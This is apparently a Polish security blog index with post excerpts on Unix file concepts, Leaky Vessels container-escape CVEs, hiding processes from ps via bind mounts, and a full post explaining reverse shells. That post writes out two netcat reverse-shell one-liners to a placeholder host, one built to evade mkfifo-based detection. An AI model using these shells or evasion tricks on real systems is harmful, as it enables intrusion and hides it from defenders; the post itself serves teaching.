W

szystko jest plikiem to koncepcja zakładającą, że w systemach z rodziny *nix wejście / wyjście do i z zasobów (dyski twarde, urządzenia sieciowe, urządzenia peryferyjne) jest prostym strumienim bajtów udostępnionych przez przestrzeń nazw systemu plików. Oznacza to, że jesteśmy w stanie wykonać ten sam zestaw operacji opisany dla plików na każdym obiekcie w systemie, ponieważ każdy z nich jest „plikiem”. Możemy otworzyć konkretne urządzenie / plik, odczytać z niego, zapisać do niego i zamknąć je po zakończeniu. Dane z tego zasobu są również przesyłane strumieniowo. Jedyną rzeczą, która się zmienia jest źródło danych. Na przykład, gdy piszemy w terminalu w rzeczywistości zapisujemy dane do zasobu o nazwie standardowe wejście (ang. standard input – stdin). Gdy dane są wyświetlane na terminalu, używane jest standardowe wyjście (ang. standard output – stdout).
[ czytaj całość… ]

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in „exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

P

rzesiąkanie płynu z małych naczyń krwionośnych do otaczających tkanek wymaga natychmiastowego leczenia, aby zapobiec spadkowi ciśnienia krwi i innym poważnym powikłaniom. Identycznie jest w przypadku zespołu podatności o nazwie Leaky Vessels, które wykryto w środowisku wykonawczym kontenerów, w szczególności runC (CVE-2024-21626) oraz w BuildKit (CVE-2024-23651, CVE-2024-23652 i CVE-2024-23653) używanym przez takie projekty jak: Docker, Kubernetes i inne platformy konteneryzacji. Luki te umożliwiają ucieczkę z kontenera, a osobie atakującej, która posiada dostęp do takiego kontenera, wykonanie dowolnego kodu na maszynie hosta, narażając w ten sposób cały system.
[ czytaj całość… ]

P

oniżej zaprezentuje, jak za pomocą polecenia mount ukryć dowolny proces w systemie przed takim poleceniem jak np. ps. Dokonamy tego dzięki funkcji bind. Klasyczne montowanie tworzy widok urządzenia pamięci masowej jako drzewa katalogów. Funkcja bind zamiast tego pobiera istniejące drzewo katalogów i replikuje je w innym punkcie. Montując katalog w ten sposób możemy myśleć o montowaniu jak o aliasie do innej ścieżki. Katalogi i pliki w są takie same jak w oryginale. Każda modyfikacja po jednej stronie jest natychmiast odzwierciedlana po drugiej stronie, ponieważ oba widoki przedstawiają te same dane. Na przykład, kiedy powiążemy katalog /tmp/narf z /tmp/nfsec, oba będą odwoływać się do tych samych danych:
[ czytaj całość… ]

O

d samego początku Uniksa (na którym oparty jest Linux) wszystko jest plikiem. Możemy spierać się o szczegóły, ale w większości przypadków jest to prawda. W dodatku w systemach Unix i pokrewnych systemach operacyjnych istnieje taki obiekt, jak deskryptor pliku (ang. file descriptor – FD, rzadziej fildes), który jest abstrakcyjnym wskaźnikiem / uchwytem (ang. handle) używanym do uzyskiwania dostępu do pliku lub innego zasobu wejścia / wyjścia, takiego jak potok (ang. pipe) lub gniazdo sieciowe (ang. network socket). Deskryptory plików stanowią część interfejsu programowania aplikacji POSIX – są nieujemną liczbą całkowitą, zwykle reprezentowaną w języku programowania C jako typ int (ang. integer) (wartości ujemne są zarezerwowane, aby wskazać „brak wartości” lub stan błędu).
[ czytaj całość… ]